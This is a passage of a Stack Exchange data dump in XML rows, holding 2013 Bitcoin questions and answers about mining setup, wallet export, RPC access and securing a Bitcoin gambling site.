  <row Id="11775" PostTypeId="2" ParentId="11378" CreationDate="2013-06-23T01:39:21.630" Score="2" Body="&lt;p&gt;The data being hashed is constantly updated. The block header contains a time field and is updated every few seconds. If it doesn't timeout and reset (get new work), the algorithm will be working on a stale header.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;When generating, you constantly hash the block header. The block is also occasionally updated as you are working on it.&amp;quot;&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5677" LastEditorUserId="5677" LastEditDate="2021-04-08T14:51:23.243" LastActivityDate="2021-04-08T14:51:23.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11776" PostTypeId="2" ParentId="11762" CreationDate="2013-06-23T04:09:21.543" Score="1" Body="&lt;p&gt;Mt. Gox locks their Yubikeys with an access code. You cannot reprogram them without the code. If you're willing to wait a few months, you can &lt;a href=&quot;https://github.com/nezza/yubicrack&quot; rel=&quot;nofollow&quot;&gt;brute force&lt;/a&gt; it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-06-23T04:09:21.543" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11778" PostTypeId="1" CreationDate="2013-06-23T07:35:53.260" Score="1" ViewCount="615" Body="&lt;p&gt;In Bitcoin Qt, if I go to &quot;Receive&quot; and right click on an address, one of the options is to &quot;Show QR Code&quot; for an address. Below the QR code, there is a form looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ ] Request payment&#xA;Amount: ____ BTC&#xA;Label: ____&#xA;Message: ____&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is: what does the &quot;Message&quot; field do?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2013-06-23T12:20:06.900" Title="In Bitcoin Qt, what does &quot;Message&quot; mean in the request payment form?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11779" PostTypeId="2" ParentId="11778" CreationDate="2013-06-23T12:20:06.900" Score="1" Body="&lt;p&gt;The Bitcoin protocol does not support any kind of message associated with transactions. The message when generating QR codes is simply a short string that is passed along with the Address and Amount to the person scanning the QR code as a hint to recognize what the Address has been used for. A merchant may for example put a short description of the item you bought in the message field. You then scan it and your Bitcoin client may use that field to mark the transaction, so that you later recognize which transaction was used for what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message however will never be posted to the network and is only stored in your Bitcoin client, i.e., if you restore your wallet the messages may not be restored.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-06-23T12:20:06.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11780" PostTypeId="1" CreationDate="2013-06-23T14:17:28.060" Score="2" ViewCount="3299" Body="&lt;p&gt;I am following this guide: &lt;a href=&quot;http://rdmsnippets.com/2013/03/20/bitcoin-mining-with-ubuntu-12-04-tls-and-cgminer/&quot; rel=&quot;nofollow&quot;&gt;http://rdmsnippets.com/2013/03/20/bitcoin-mining-with-ubuntu-12-04-tls-and-cgminer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it won't work on my server (Specification's are in the Subject-field)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;koen@gorgabal-Server:~/bitcoinmining$ ./cgminer/cgminer -n&#xA; [2013-06-23 15:03:51] CL Platform 0 vendor: Advanced Micro Devices, Inc.                    &#xA; [2013-06-23 15:03:51] CL Platform 0 name: AMD Accelerated Parallel Processing                    &#xA; [2013-06-23 15:03:51] CL Platform 0 version: OpenCL 1.2 AMD-APP (1113.2)                    &#xA; [2013-06-23 15:03:51] Error -1: Getting Device IDs (num)                    &#xA; [2013-06-23 15:03:51] clDevicesNum returned error, no GPUs usable                    &#xA; [2013-06-23 15:03:51] 0 GPU devices max detected                    &#xA;koen@gorgabal-Server:~/bitcoinmining$ sudo aticonfig --lsa&#xA;* 0. 01:00.0 ATI Radeon HD 3600 Series&#xA;&#xA;* - Default adapter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't switch to windows because of several reasons, does anybody have an idea of what I am doing wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;ps: I have used linux for several years now, so I know my way around. This is a fresh server installation.&lt;/p&gt;&#xA;" OwnerUserId="5682" LastEditorUserId="5406" LastEditDate="2016-03-16T10:23:34.550" LastActivityDate="2016-03-16T10:23:34.550" Title="gcminer with ATIRADEON HD3600 on ubuntu 12.04 64bit headless won't detect GPU" Tags="|cgminer|ubuntu|miner-configuration|gpu-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11781" PostTypeId="1" AcceptedAnswerId="11784" CreationDate="2013-06-23T14:48:09.727" Score="1" ViewCount="1829" Body="&lt;p&gt;I have written a Bitcoin gambling site and am planning on the best approach to host it/manage it securely.&#xA;The site is implemented in Java using the BitcoinJ API and servlets etc are handled via the Play framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an overview of what the site does at high level:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Communicates to a datastore where &quot;receive/return addresses&quot; inputed by user are stored.&lt;/li&gt;&#xA;&lt;li&gt;Creates a unique receive address for the user (also stores this).&lt;/li&gt;&#xA;&lt;li&gt;Stores the answers chosen by user.&lt;/li&gt;&#xA;&lt;li&gt;Checks for verified transactions and updates datastore with this info.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Finally, when the app has a return address to send winnings to and confirmed verified and confirmed winner, the winnings are sent out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking about how to best host this application. Would the best way be to proceed to purchase a dedicated server and run the whole app on there? Are there better/more secure ways that this can be done (also cheaper methods i.e. shared hosting?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;&lt;em&gt;Potential alternative option:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Lightweight app on web which communicates directly to a database.&lt;/li&gt;&#xA;&lt;li&gt;Database holds a big list of readily created &quot;receive addresses&quot; by a wallet held off server.&lt;/li&gt;&#xA;&lt;li&gt;Off server process runs on my PC continuously checking the database for &quot;work&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This approach is probably a lot safer and would also remove the need for a dedicated server. The downsides would be having to run a PC 24-7 at home which constantly checks for work.&#xA;The off server process would create more addresses when needed and add them to the database (remotely). It would also send out bitcoins to winners and transfer the bulk of BTC to an offline wallet.&lt;/p&gt;&#xA;" OwnerUserId="5683" LastEditorUserId="5683" LastEditDate="2013-06-23T18:36:42.473" LastActivityDate="2023-12-17T13:49:58.423" Title="Security advise on setting up a gambling Bitcoin site" Tags="|security|server|bitcoinj|gambling|hosting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11782" PostTypeId="2" ParentId="11780" CreationDate="2013-06-23T15:55:30.340" Score="0" Body="&lt;p&gt;I was myself unable to run completely headless. For some reason the ATI driver needs an XServer running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have an XServer running you still need to tell cgminer where to find it, setting the &lt;code&gt;DISPLAY&lt;/code&gt; env variable takes care of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export DISPLAY=0.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this though only takes care of the first ATI card. A little trick is not to specify the second part of the identifier:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export DISPLAY=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this should let you at least find all the cards. Next you need to configure your XServer to make use of all present cards:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DISPLAY=0 aticonfig --initial --adapter=all -f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that prefixing commands with the env-variable setting works as well. Next you restart the XServer and test that it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DISPLAY=0 aticonfig --adapter=all --od-gt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should give you the temperatures for all cards you have installed. From there, you should be able to start cgminer and it should detect the cards:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DISPLAY=0 ./cgminer/cgminer -n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-06-23T15:55:30.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11783" PostTypeId="1" AcceptedAnswerId="11787" CreationDate="2013-06-23T17:13:11.867" Score="2" ViewCount="1922" Body="&lt;p&gt;Is there a way to export a wallet from &lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt; to the Android &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3942" LastActivityDate="2013-06-23T20:51:04.807" Title="Export keys from MultiBit to Android Bitcoin Wallet?" Tags="|wallet|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11784" PostTypeId="2" ParentId="11781" CreationDate="2013-06-23T17:25:02.810" Score="1" Body="&lt;p&gt;&lt;strong&gt;Using Bitcoin means using maximum security&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can cut corners but you need to understand that by doing so you are introducing risk into your business model. These risks include, but are not limited to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gavintech.blogspot.co.uk/2012/03/bitcoin-faucet-hacked.html&quot; rel=&quot;nofollow&quot;&gt;private key theft by malicious administrators&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;cracks through known vulnerabilities in virtual machine implementations&lt;/li&gt;&#xA;&lt;li&gt;cracks through weak operating systems (use a secure Linux distro)&lt;/li&gt;&#xA;&lt;li&gt;theft or confiscation of hardware (data centers may take your stuff)&lt;/li&gt;&#xA;&lt;li&gt;domain name seizure (ICANN can and will)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To reduce the risk involved you need to isolate your Bitcoin code from your public-facing web code as much as possible. This usually means having your own dedicated hardware under your physical control. Often this means a machine in your basement with a dedicated VPN and static IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that only the &quot;float&quot; part of your balance is accessible to the server in a hot wallet. The rest should be in an offline cold wallet requiring manual access to free up the funds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember: Bitcoin is money. Take the same precautions that you think a casino would take then go the extra mile.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-06-23T17:25:02.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11785" PostTypeId="2" ParentId="11769" CreationDate="2013-06-23T18:09:25.090" Score="-1" Body="&lt;p&gt;Just use namecoin-qt&#xA;This does everything automatically. &lt;/p&gt;&#xA;" OwnerUserId="5688" LastActivityDate="2013-06-23T18:09:25.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11786" PostTypeId="1" CreationDate="2013-06-23T18:24:00.793" Score="2" ViewCount="506" Body="&lt;p&gt;I am asking about the &lt;em&gt;double&lt;/em&gt; SHA256 hashing function - the one that bitcoin uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which publicly available implementation is the fastest one out there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be in assembler, as long as it is for x86, also 64 bit.&lt;/p&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2013-06-23T18:24:00.793" Title="What is the fastest public SHA256^2 code for x86?" Tags="|sha256|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11787" PostTypeId="2" ParentId="11783" CreationDate="2013-06-23T19:19:53.457" Score="1" Body="&lt;p&gt;The format used for exporting the keys is the same for Andreas Schildbach's Bitcoin wallet and MultiBit so basically the answer is yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done it from my phone to MultiBit by emailing the private key backup from my phone and then importing it into a new wallet created in MultiBit. &#xA;The encryption used is the same so the password you use to encrypt it on your phone is the one you use in MultiBit when you import it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You get an extra address in the newly created wallet in MultiBit by default - I just label it 'do not use' and never use it.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect you could export it from MultiBit, copy onto an SD card and then import it on your phone to go the other way.&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2013-06-23T20:51:04.807" LastActivityDate="2013-06-23T20:51:04.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11790" PostTypeId="1" AcceptedAnswerId="25701" CreationDate="2013-06-23T20:47:26.513" Score="2" ViewCount="1672" Body="&lt;p&gt;I would like every day at a set time to receive a notification on my iPhone with the current Bitcoin value in Euros. How can I have this?&lt;/p&gt;&#xA;" OwnerUserId="2355" LastEditorUserId="5410" LastEditDate="2013-10-24T20:26:04.253" LastActivityDate="2014-05-30T21:20:32.393" Title="Recieve Bitcoin value notifications on iPhone" Tags="|exchanges|value|alert-system|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11791" PostTypeId="1" CreationDate="2013-06-23T22:11:18.870" Score="1" ViewCount="736" Body="&lt;p&gt;I'm running bitcoind 7x24 on a linux host on my network so it is always in synch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Options like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  -rpcuser=&amp;lt;user&amp;gt;        Username for JSON-RPC connections&#xA;  -rpcpassword=&amp;lt;pw&amp;gt;      Password for JSON-RPC connections&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;suggest it is possible to have a wallet client on my Windows PC access that server and operate the wallet.dat on the Linux PC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my attempts have not met with success.  Can you suggest a solution or at least help me understand why this is not possible.&lt;/p&gt;&#xA;" OwnerUserId="5643" LastActivityDate="2014-07-14T20:32:35.633" Title="How can I access a bitcoind instance from another device with wallet functionality?" Tags="|wallet|client|bitcoind|json-rpc|wallet.dat|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11792" PostTypeId="2" ParentId="59" CreationDate="2013-06-23T22:18:01.370" Score="0" Body="&lt;p&gt;use this calculator &lt;a href=&quot;http://www.coinish.com/calc/&quot; rel=&quot;nofollow&quot;&gt;http://www.coinish.com/calc/&lt;/a&gt;&#xA;I think it will answer your question perfectly&#xA;use 'expert' mode for most accurate results (never 100% correct, that's impossible)&lt;/p&gt;&#xA;" OwnerUserId="5502" LastActivityDate="2013-06-23T22:18:01.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11795" PostTypeId="2" ParentId="11791" CreationDate="2013-06-24T05:36:48.537" Score="1" Body="&lt;p&gt;I have seen selfmade PHP frontends. May check google, forums, github or other sources. (want to avoid to post links there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the question properly: You can access the bitcoind instance through the RPC and do all kind of things. This indeed allows to use existing or selfmade frontends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference on bitocin RPC check the popular forums or google up &quot;bitcoin rpc commands&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you intend a connection between a private server and you home server you could secure the copnnection additionally with a VPN for example.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-06-24T05:36:48.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11797" PostTypeId="2" ParentId="11781" CreationDate="2013-06-24T05:48:53.717" Score="0" Body="&lt;p&gt;To protect your webapp/bitcoin in first place &lt;strong&gt;think like an attacker&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then &lt;strong&gt;do what if scenarios&lt;/strong&gt;, what happens if an attacker gains access to the webserver, database, or whatever??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don’t put all eggs in one basket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guess the most vulnerable parts of the whole venture might be &lt;strong&gt;webapps/frontends&lt;/strong&gt;, &lt;strong&gt;userfail&lt;/strong&gt; and finally exploitation on &lt;strong&gt;outdated software&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you want to have a look into &lt;strong&gt;IDS&lt;/strong&gt; solutions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R81f3.gif&quot; alt=&quot;IDS&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example have a &lt;strong&gt;SNORT&lt;/strong&gt; instance in-between (maybe through a VPN construction). (running heavy IDS on the main server is a bad idea, maybe).&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-06-24T05:48:53.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11798" PostTypeId="1" CreationDate="2013-06-24T06:55:54.220" Score="1" ViewCount="4146" Body="&lt;p&gt;I installed bitcoin-qt and my wallet was all synced, everything working as it should. I sighed up for slush's pool and was trying to connect the 2 and I think I may have clicked the box to run SOCKS proxy (if I am remembering right)  Now my wallet will not show up on my desktop and when I click the icon I get 2 errors:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unable to bind to 0.0.0.0:8333 on this computer. Bitcoin is probably already running.&lt;/li&gt;&#xA;&lt;li&gt;Failed to listen on any port. Use -listen=0 if you want this.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am running Fedora 18.  I tried to uninstall/reinstall and ended up with the same issue, i'm assuming I did not uninstall ALL of the initial package/program.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help PLEASE!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!!&lt;/p&gt;&#xA;" OwnerUserId="5695" LastActivityDate="2018-09-17T21:45:38.760" Title="Unable to bind to 0.0.0.0:8333 on this computer. Bitcoin is probably already running" Tags="|wallet|bitcoin-core|linux|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11799" PostTypeId="2" ParentId="11499" CreationDate="2013-06-24T07:25:06.023" Score="2" Body="&lt;p&gt;It really is all about your location. In some countries, it's harder to get set up to sell bitcoins than other countries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're in the UK, try one of these to get near-instant Bitcoins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bittylicious.com/&quot; rel=&quot;nofollow&quot;&gt;Bittylicious&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitbargain.com&quot; rel=&quot;nofollow&quot;&gt;BitBargain&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Local Bitcoins (UK)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5696" LastActivityDate="2013-06-24T07:25:06.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11801" PostTypeId="2" ParentId="11798" CreationDate="2013-06-24T08:38:31.273" Score="1" Body="&lt;p&gt;Are you sure that betcoind is not running?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin is probably already running.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can try to restart your computer...&lt;/p&gt;&#xA;" OwnerUserId="5697" LastActivityDate="2013-06-24T08:38:31.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11802" PostTypeId="2" ParentId="9847" CreationDate="2013-06-24T08:41:20.077" Score="1" Body="&lt;p&gt;You can use separate worker accounts if you want separate statistics for your machines. Otherwise just run all of them under one worker account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If some of your workers are slow they may show as zero hashrate at the website. This is because pool websites estimate your hashrate based on how often you send in proofs of work (aka &quot;shares&quot;). For slow workers this does not happen very often and the website is unable to make a good hashrate estimate. As long as you see the worker statistics for accepted proofs of work going up everything should be fine. View the worker stats, wait a while, refresh the page - if the stats went up, it is working.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-06-24T08:41:20.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11803" PostTypeId="2" ParentId="6050" CreationDate="2013-06-24T09:13:09.150" Score="1" Body="&lt;p&gt;X-BCID is a custom extension used only by BitMinter's getwork implementation. It's a block change ID. In case long poll isn't working optimally or block changes happen too fast for long poll to catch all of them, seeing a new block change ID makes the client aware that it missed a block change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server doesn't validate the hashrate submitted by the client. At the BitMinter pool it is currently used by the variable difficulty (vardiff) implementation to determine the initial worker difficulty, until the pool has enough data to estimate a hashrate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The params for getwork are empty when the client requests new work and has data when the client is sending in a proof of work. This is a silly thing with the getwork protocol, the rpc function is &quot;getwork&quot; both if you are getting work and if you are sending in work results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error field in the response is always present as this is required by the JSON-RPC standard. You can read more about JSON-RPC at &lt;a href=&quot;http://json-rpc.org/&quot; rel=&quot;nofollow&quot;&gt;http://json-rpc.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-06-24T09:13:09.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11804" PostTypeId="1" CreationDate="2013-06-24T10:49:57.107" Score="1" ViewCount="648" Body="&lt;p&gt;I have setup the BIK_php API of  &lt;a href=&quot;http://bitcoindevkit.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoindevkit.com/&lt;/a&gt;  in PHP.&#xA;Now, I am able to connect and generate new addresses, but when I am going to call some functions like getaddressesbyaccount, sendfrom etc as given in Bitcoin API call list at &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt; , these functions requires &quot;account&quot; parameter as , but I could not understand where from I can get the account value?&#xA;So, Please let me know what will be the value of , and how can I get the   value from?&lt;/p&gt;&#xA;" OwnerUserId="5671" LastEditorUserId="4241" LastEditDate="2013-06-24T17:15:02.363" LastActivityDate="2015-12-27T00:37:33.303" Title="How can get Bitcoin client API account(&lt;account&gt;) name" Tags="|api|bitcoin-core-accounts|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11809" PostTypeId="2" ParentId="72" CreationDate="2013-06-24T13:42:59.680" Score="2" Body="&lt;p&gt;Bitcoin exposes many flaws in the current financial system, as it was designed to be an ideal. Yes all transaction are always visible after laundering - however the problem of matching entry and exit points is &amp;quot;computationally irreducible&amp;quot;, to borrow a phrase from Stephen Wolfram, so the efforts of KYC and AML are kind of hopeless once funds go into any of the the blockchain systems and get pooled.&lt;/p&gt;&#xA;&lt;p&gt;More funds in private hands would be a good thing. A notable reason why we labor under a top heavy world is because of ever growing state plunder by an entity that is answerable to nobody :&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Warfare, Welfare, and the State by Robert Higgs&amp;quot; &lt;a href=&quot;http://www.youtube.com/watch?v=b7SA_5WeGZ0&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=b7SA_5WeGZ0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5701" LastEditorUserId="88401" LastEditDate="2022-09-20T15:14:13.633" LastActivityDate="2022-09-20T15:14:13.633" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="11810" PostTypeId="1" CreationDate="2013-06-24T14:24:40.683" Score="2" ViewCount="17621" Body="&lt;p&gt;I have a machine with 48 CPU cores, running Linux. I would like to mine for a coin, not to sell immediately, but in several months when the value has increased (hopefully).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to keep changing every day, so what coin would be best, and why? I realise this involves predicting the future, but would like to hear various views.&lt;/p&gt;&#xA;" OwnerUserId="5703" LastEditorUserId="5406" LastEditDate="2016-04-17T20:37:14.310" LastActivityDate="2016-04-17T20:37:14.310" Title="Which coin to mine with CPU long-term" Tags="|mining-profitability|altcoin|cpu|" AnswerCount="1" CommentCount="3" ClosedDate="2013-07-02T17:03:08.543" ContentLicense="CC BY-SA 3.0" />
  <row Id="11811" PostTypeId="2" ParentId="11131" CreationDate="2013-06-24T15:06:16.597" Score="0" Body="&lt;p&gt;As far I know most mining pools require a minimum balance of one bitcent before you can withdraw. The fee for a transaction smaller than this is 0.0005BTC so I assume the pools have decided to block smaller transactions, although small transactions are generally allowed.&lt;/p&gt;&#xA;" OwnerUserId="4842" LastActivityDate="2013-06-24T15:06:16.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11812" PostTypeId="1" CreationDate="2013-06-24T16:06:58.350" Score="-1" ViewCount="177" Body="&lt;p&gt;I have bitcoin client 0.6.0.6 (no longer supported!):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I did not upgrade on May15.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My current client will not synchronize past 85%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no luck with, DB_CONFIG set_lk_max_locks 537000 &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am in the process of trying to send coins, transaction remains unconfirmed&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How should I best proceed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am concerned about upgrading to new client without the current being fully synchronized. What are the issues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I have an unconfirmed transaction looming.  This transaction are coins being sent, not receiving coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am somewhat frustrated; wish I had known about the May15/synch/upgrade issues before send transaction.  Perhaps that is confounding the synch somehow?  Anyhow, what is the best way to proceed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best and thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="5704" LastEditorUserId="5704" LastEditDate="2013-06-24T16:35:50.990" LastActivityDate="2021-01-23T16:04:05.233" Title="bitcoin upgrade needed: the current client is not synchronized" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11813" PostTypeId="1" CreationDate="2013-06-24T17:03:36.380" Score="0" ViewCount="174" Body="&lt;p&gt;I'm looking for sample programs and apps that leverage Mt Gox and learning what they do. Is there such a list in existence?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links to the appropriate BitcoinTalk or Wiki page would be more than sufficient as long as it's centralized. &lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-06-28T19:46:56.703" Title="What programs, websites or other applications leverage Mt Gox's API?" Tags="|mtgox|api|trade|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11814" PostTypeId="2" ParentId="11813" CreationDate="2013-06-24T17:13:43.170" Score="1" Body="&lt;p&gt;Not sure of any official list but here are a few that I've found &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Github Repos&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitfloor/trader.nodejs&quot; rel=&quot;nofollow&quot;&gt;bitfloor books&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/maxme/bitcoin-arbitrage&quot; rel=&quot;nofollow&quot;&gt;bitcoin-arbitrage&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/mtmiron/metabit&quot; rel=&quot;nofollow&quot;&gt;metabit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/programmarchy/node-mtgox-websocket-client&quot; rel=&quot;nofollow&quot;&gt;mtgox-node.js-client&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Websites&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoincharts.com/&quot; rel=&quot;nofollow&quot;&gt;bitcoin charts&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.bitinstant.com/&quot; rel=&quot;nofollow&quot;&gt;bitinstant&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4241" 